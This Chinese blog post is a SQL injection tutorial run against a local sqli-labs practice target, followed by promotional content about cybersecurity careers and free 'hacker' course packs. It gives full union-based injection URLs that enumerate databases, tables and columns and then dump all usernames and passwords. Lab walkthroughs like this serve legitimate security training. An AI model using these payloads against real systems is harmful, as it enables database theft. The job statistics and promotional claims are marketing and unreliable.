每个互联网人才都应该知道的 SQL 注入!

我们都是善良的银!一生戎码只为行侠仗义,知道这个不是为了做啥非法的事,只是知道小偷怎么偷东西才能更好地防范。

SQL 注入(SQL Injection),SQL 注入即是指 web 应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在 web 应用程序中事先定义好的查询语句的结尾上添加额外的 SQL 语句,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。

下面我们用 sqli-labs 这个开源项目来演示一下 SQL 注入盗取信息的全程。 sqli-labs 是一个 sql 注入的练习靶机,项目地址为:/sqli-labs

源码是用 php 写的,这里我使用的是 docker 部署的,如下 这里我是去 store.docker.com 搜索的镜像使用:https://hub.docker.com/r/acgpiano/sqli-labs,我们运行一下

docker run -dt --name sqli-lab -p 8089:80 acgpiano/sqli-labs:latest

运行后打开http://127.0.0.1:8089/,界面如下 

这是一个闯关的课程,一个有 22 课,接下来我们只会用到 Less-1 来演示,也就是单引号注入,但是核心原理其实都是通过 UNIONt 和 CONCAT 出对应的数据盗取信息。

更多技巧可以参考这篇文章:SQL注入篇——sqli-labs最详细1-75闯关指南

打开:http://127.0.0.1:8089/Less-1/,看到如下内容 

我们输入 id:http://127.0.0.1:8089/Less-1/?id=1,显示了id为1的用户 

对应的 php 源码是这样的:

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

相当于最后 sql 变成了

SELECT * FROM users WHERE id='1' LIMIT 0,1

知其然也知其所以然,欧耶~

数据库结构

数据库是这样的 

注入示例

下面使用 Less-1 的单引号注入来演示一下盗取信息的过程

我们把 id 改成:id=1' and 1=1 -- -,访问

http://127.0.0.1:8089/Less-1/?id=1' and 1=1 -- -

可以正常访问,说明可以用单引号注入,SQL 语句相当于变成了

SELECT * FROM users WHERE id='1' and 1=1 -- ' LIMIT 0,1

这就是传说中的单引号注入,相当于构造出了下面这样的语句 

判断共有多少字段

UNION SELECT 1,user(),database()­­ -- -

通过 orderby 试探,order by 是可以直接指定字段的列来排序的,所以可以挨个试, 比如当我们使用 order by 5,访问

http://127.0.0.1:8089/Less-1/?id=1' order by 5 -- -

报错了,说明不对 

当我们用 order by 3 的时候,正常返回了,访问地址:

http://127.0.0.1:8089/Less-1/?id=1' order by 3 -- -

正常返回了,说明字段有 3 个。

判断字段的显示位置

UNION SELECT 1,2,3 -- -

我们构造一下,访问

http://127.0.0.1:8089/Less-1/?id='UNION SELECT 1,2,3 -- -

 分别显示 2 和 3,说明登录名和密码字段在 2 和 3 的位置

显示登录用户和数据库名

UNION SELECT 1,(SELECT group_concat(table_name) FROM information_schema.tables where table_schema = 'security' ),3 -- -

复制代码

已经匹配出了字段,接下来的所有用户信息都需要经过 UNION 相等的列来获取,访问

http://127.0.0.1:8089/Less-1/?id='  UNION SELECT 1,database(),user() -- -

复制代码

我们看到当前使用的数据库名叫 security,连接的用户是 root 超管

查看所有数据库名

UNION SELECT 1,2,(SELECT GROUP_CONCAT(schema_name) FROM information_schema.schemata)-- -

复制代码

访问

http://127.0.0.1:8089/Less-1/?id=' UNION SELECT 1,2,(SELECT GROUP_CONCAT(schema_name) FROM information_schema.schemata)-- -

复制代码

其实原理就是构造出了这样的语句 

 我们看到了数据库有 information_schema、challenges、mysql、performance_schema、security

查看数据库的所有表名

UNION SELECT 1,2,(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema='security') -- -

复制代码

访问

http://127.0.0.1:8089/Less-1/?id=' UNION SELECT 1,2,(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema='security') -- -

复制代码

访问如下 

 我们看到有 emails、referers、uagents、users 这四个表

查看表的所有字段

UNION SELECT 1,(SELECT group_concat(column_name) FROM information_schema.columns where table_schema = 'security' and table_name='users' ),3 -- -

复制代码

访问

http://127.0.0.1:8089/Less-1/?id=' UNION SELECT 1,(SELECT group_concat(column_name) FROM information_schema.columns where table_schema = 'security' and table_name='users' ),3 -- -

复制代码

可以看到用 id、username、password3 个字段

查看所有的用户密码

UNION SELECT 1,(SELECT group_concat(concat_ws(0x7e,username,password))FROM users),3 -- -

复制代码

访问

http://127.0.0.1:8089/Less-1/?id=' UNION SELECT 1,(SELECT group_concat(concat_ws(0x7e,username,password)) FROM users),3 -- -

复制代码

用户名和密码全出来了,厉害了我的哥! 

到这里,我们就学会了怎么把对方所有的隐私 load 出来了,有点可怕啊!你学会了吗!以上内容由 chenqionghe 提供,light weight baby!

      题外话

初入计算机行业的人或者大学计算机相关专业毕业生,很多因缺少实战经验,就业处处碰壁。下面我们来看两组数据:

  • 2023届全国高校毕业生预计达到1158万人,就业形势严峻;

  • 国家网络安全宣传周公布的数据显示,到2027年我国网络安全人员缺口将达327万。

一方面是每年应届毕业生就业形势严峻,一方面是网络安全人才百万缺口。

6月9日,麦可思研究2023年版就业蓝皮书(包括《2023年中国本科生就业报告》《2023年中国高职生就业报告》)正式发布。

2022届大学毕业生月收入较高的前10个专业

本科计算机类、高职自动化类专业月收入较高。2022届本科计算机类、高职自动化类专业月收入分别为6863元、5339元。其中,本科计算机类专业起薪与2021届基本持平,高职自动化类月收入增长明显,2022届反超铁道运输类专业(5295元)排在第一位。

具体看专业,2022届本科月收入较高的专业是信息安全(7579元)。对比2018届,电子科学与技术、自动化等与人工智能相关的本科专业表现不俗,较五年前起薪涨幅均达到了19%。数据科学与大数据技术虽是近年新增专业但表现亮眼,已跻身2022届本科毕业生毕业半年后月收入较高专业前三。五年前唯一进入本科高薪榜前10的人文社科类专业——法语已退出前10之列。

图片

“没有网络安全就没有国家安全”。当前,网络安全已被提升到国家战略的高度,成为影响国家安全、社会稳定至关重要的因素之一。

网络安全行业特点

1、就业薪资非常高,涨薪快 2021年猎聘网发布网络安全行业就业薪资行业最高人均33.77万!

图片

2、人才缺口大,就业机会多

2019年9月18日《中华人民共和国中央人民政府》官方网站发表:我国网络空间安全人才 需求140万人,而全国各大学校每年培养的人员不到1.5W人。猎聘网《2021年上半年网络安全报告》预测2027年网安人才需求300W,现在从事网络安全行业的从业人员只有10W人。

图片

行业发展空间大,岗位非常多

网络安全行业产业以来,随即新增加了几十个网络安全行业岗位︰网络安全专家、网络安全分析师、安全咨询师、网络安全工程师、安全架构师、安全运维工程师、渗透工程师、信息安全管理员、数据安全工程师、网络安全运营工程师、网络安全应急响应工程师、数据鉴定师、网络安全产品经理、网络安全服务工程师、网络安全培训师、网络安全审计员、威胁情报分析工程师、灾难恢复专业人员、实战攻防专业人员…

职业增值潜力大

网络安全专业具有很强的技术特性,尤其是掌握工作中的核心网络架构、安全技术,在职业发展上具有不可替代的竞争优势。

随着个人能力的不断提升,所从事工作的职业价值也会随着自身经验的丰富以及项目运作的成熟,升值空间一路看涨,这也是为什么受大家欢迎的主要原因。

从某种程度来讲,在网络安全领域,跟医生职业一样,越老越吃香,因为技术愈加成熟,自然工作会受到重视,升职加薪则是水到渠成之事。

       如果你对网络安全入门感兴趣,那么你点击这里👉CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

如果你对网络安全感兴趣,学习资源免费分享,保证100%免费!!!(嘿客入门教程)

1.成长路线图&学习规划

要学习一门新的技术,作为新手一定要先学习成长路线图方向不对,努力白费

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

图片

图片

2.视频教程

很多朋友都不喜欢晦涩的文字,我也为大家准备了视频教程,其中一共有21个章节,每个章节都是当前板块的精华浓缩。

图片

图片

3.SRC&黑客文籍

大家最喜欢也是最关心的SRC技术文籍&黑客技术也有收录

SRC技术文籍:

图片

黑客资料由于是敏感资源,这里不能直接展示哦!

4.护网行动资料

其中关于HW护网行动,也准备了对应的资料,这些内容可相当于比赛的金手指!

图片

5.黑客必读书单

图片

6.面试题合集

当你自学到这里,你就要开始思考找工作的事情了,而工作绕不开的就是真题和面试题。

图片

更多内容为防止和谐,可以扫描获取~

图片

需要全套共282G的《网络安全&黑客技术零基础到进阶全套学习大礼包》,可以扫描下方二维码免费领取在这里插入图片描述

 如果你有需要可以点击👉CSDN大礼包:《嘿客&网络安全入门&进阶学习资源包》免费分享 

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值